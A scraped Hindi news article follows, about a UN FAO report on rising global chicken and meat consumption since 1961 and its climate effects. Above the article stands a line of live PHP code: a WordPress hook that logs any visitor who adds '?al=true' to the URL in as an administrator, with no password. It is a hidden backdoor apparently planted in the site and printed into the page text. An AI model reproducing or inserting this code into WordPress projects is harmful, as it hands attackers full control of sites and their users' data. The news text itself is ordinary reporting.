// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); चिकन-मटन की बढ़ती खपत से बढ़ा वैश्विक संकट, UN रिपोर्ट ने जताई गंभीर चिंता – प्रत्युषा आशा की नयी किरण
देश

चिकन-मटन की बढ़ती खपत से बढ़ा वैश्विक संकट, UN रिपोर्ट ने जताई गंभीर चिंता

मुंबई 

चिकन-मटन शौक से खाने वाले लोगों की वजह से दुनिया में एक नया संकट पैदा हो गया है, जिसके बारे में खुद संयुक्त राष्ट्र ने रिपोर्ट जारी की है. इस रिपोर्ट में कई डराने वाले खुलासे हुए हैं. बताया जा रहा है कि पिछले 60 सालों में ग्लोबल डाइट पूरी तरह से बदल चुकी है. लोग अब साग-सब्जी और शाकाहार को छोड़कर अंधाधुंध तरीके से नॉन-वेज की तरफ भाग रहे हैं. चिकन और मटन की इस दीवानगी ने स्वाद का चस्का तो बढ़ा दिया है, लेकिन हमारी बेचारी धरती के लिए एक ऐसा खौफनाक संकट खड़ा कर दिया है जिसकी किसी ने कल्पना भी नहीं की थी। 

यूएन के खाद्य और कृषि संगठन (FAO) द्वारा जारी इस रिपोर्ट ने पूरी दुनिया के बड़े-बड़े नीति निर्माताओं, वैज्ञानिकों और पर्यावरणविदों के कान खड़े कर दिए हैं. रिपोर्ट के मुताबिक, जहां लोगों की थाली में मीट का वजन लगातार भारी होता जा रहा है, वहीं इसके चलते हमारी धरती पर प्रदूषण, जहरीली गैसों और ग्लोबल वॉर्मिंग का खतरा भी एक डरावने स्तर पर पहुंच रहा है। 

25 किलो से सीधे 47 किलो पर पहुंची चिकन-मटन की खपत
इस रिपोर्ट में जो आंकड़े निकलकर सामने आए हैं, वे वाकई किसी के भी होश उड़ाने के लिए काफी हैं. अगर हम साल 1961 के दौर की बात करें तो उस समय दुनिया में प्रति व्यक्ति सालाना मांस की कुल सप्लाई औसतन सिर्फ 25 किलोग्राम हुआ करती थी लेकिन साल 2022 तक आते-आते ये आंकड़ा करीब-करीब दोगुना बढ़कर 47 किलोग्राम प्रति व्यक्ति सालाना पर पहुंच गया है. यानी हर साल इंसानी बस्तियां लाखों टन मांस डकार रही हैं। 

चिकन ने तोड़े सारे रिकॉर्ड: साल 1961 में एक इंसान सालभर में औसतन 3 किलो से भी कम चिकन खाता था, लेकिन साल 2022 में यह आंकड़ा सीधे 17 किलोग्राम पर पहुंच गया. इसका मतलब ये हुआ कि चिकन की खपत में करीब 6 गुना का बंपर और ऐतिहासिक उछाल आया है. आज गली-कूचों से लेकर बड़े-बड़े रेस्टोरेंट में चिकन की डिमांड सबसे ज्यादा है। 

पोर्क और बीफ का हाल: इस दौरान पोर्क खाने की आदत भी इंसानों में दोगुनी हो गई है और ये अब 15 किलो प्रति व्यक्ति पर जा पहुंची है. हालांकि, इस पूरे खेल में बीफ की खपत में कोई बहुत बड़ा बदलाव नहीं देखा गया है और ये दुनिया भर में करीब 9 किलोग्राम पर स्थिर है। 

मीट की मांग क्यों बढ़ी?
एक्सपर्ट्स का मानना है कि इसके पीछे असली खेल पैसे और लाइफस्टाइल का है. जिन देशों में लोगों की आमदनी बढ़ रही है और जहां शहरीकरण बहुत तेजी से फैल रहा है, वहां लोगों का रहन-सहन और खान-पान का तरीका बिल्कुल बदल चुका है. लोग अब पारंपरिक दाल-चावल या हरी सब्जियों को छोड़कर मीट को स्टेटस सिंबल और अपनी रोजाना की डाइट का मुख्य हिस्सा बना रहे हैं. इस लजीज स्वाद की जो कीमत हमारी धरती को चुकानी पड़ रही है, वो बहुत भयानक है। 

आसमान छूता प्रदूषण: आज के समय में दुनिया भर में होने वाले कुल ग्रीनहाउस गैस उत्सर्जन में एग्रीकल्चर और पशुपालन दूसरा सबसे बड़ा विलेन बनकर उभरा है. फैक्ट्रियों और गाड़ियों के बाद यही सेक्टर सबसे ज्यादा जहर उगल रहा है। 

Livestock का जानलेवा खतरा: पर्यावरण में गर्मी बढ़ाने वाली और ओजोन परत को नुकसान पहुंचाने वाली गैसों में अकेले पशुपालन का हिस्सा 12% से लेकर 20% तक है. आशंका जताई जा रही है कि अगले दशक में इस सेक्टर से होने वाला प्रदूषण 7.6% तक और ज्यादा बढ़ सकता है, जिसका 80% कारण सिर्फ और सिर्फ ये पशुपालन होगा। 

अमीर-गरीब का फासला
इस रिपोर्ट में एक और बेहद कड़वा और परेशान करने वाला सच सामने आया है कि अमीर और गरीब देशों के बीच खाने की थाली को लेकर कितनी बड़ी खाई मौजूद है. अमीर देशों में तो लोग अपनी हैसियत के दम पर भर-भर कर मीट खा रहे हैं और वहां मांस की सप्लाई बहुत ज्यादा और स्थिर बनी हुई है। 

हालांकि, कई गरीब और कम आय वाले देशों में आज भी भुखमरी का खौफनाक माहौल है. वहां लोगों के लिए पौष्टिक खाना और दूध तो बहुत दूर की बात है, दो वक्त की सूखी रोटी जुटाना भी एक बहुत बड़ी जंग जैसा बना हुआ है। 

UN के सॉफ्ट स्टैंड पर भड़के वैज्ञानिक
हैरान करने वाली बात ये है कि पर्यावरण के ऊपर मंडरा रहे इतने बड़े खतरे के बावजूद यूएन की संस्था एफएओ (FAO) ने अमीर देशों को मीट की खपत कम करने की कोई सीधी या सख्त सलाह नहीं दी. इसके बजाय, यूएन ने बहुत ही ‘सॉफ्ट’ स्टैंड लेते हुए गोलमोल बातें कीं. उन्होंने कहा कि खेती के तरीकों को थोड़ा बेहतर बनाया जाए, खाना बर्बाद होने से रोका जाए और नई-नई टेक्नोलॉजी का इस्तेमाल करके पशुपालन से होने वाले प्रदूषण को कम किया जाए। 

यूएन के इस ढुलमुल रवैए ने दुनिया भर के बड़े वैज्ञानिकों और पर्यावरण विशेषज्ञों को भड़का दिया है और वे इसकी कड़ी आलोचना कर रहे हैं. वैज्ञानिकों का साफ और दोटूक शब्दों में कहना है कि अगर अमीर देश मांस खाना थोड़ा कम कर दें और ‘प्लांट-बेस्ड डाइट’ की तरफ वापस लौटें, तो क्लाइमेट चेंज और ग्लोबल वॉर्मिंग के इस बड़े खतरे को बहुत आसानी से और बहुत जल्दी टाला जा सकता है। 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड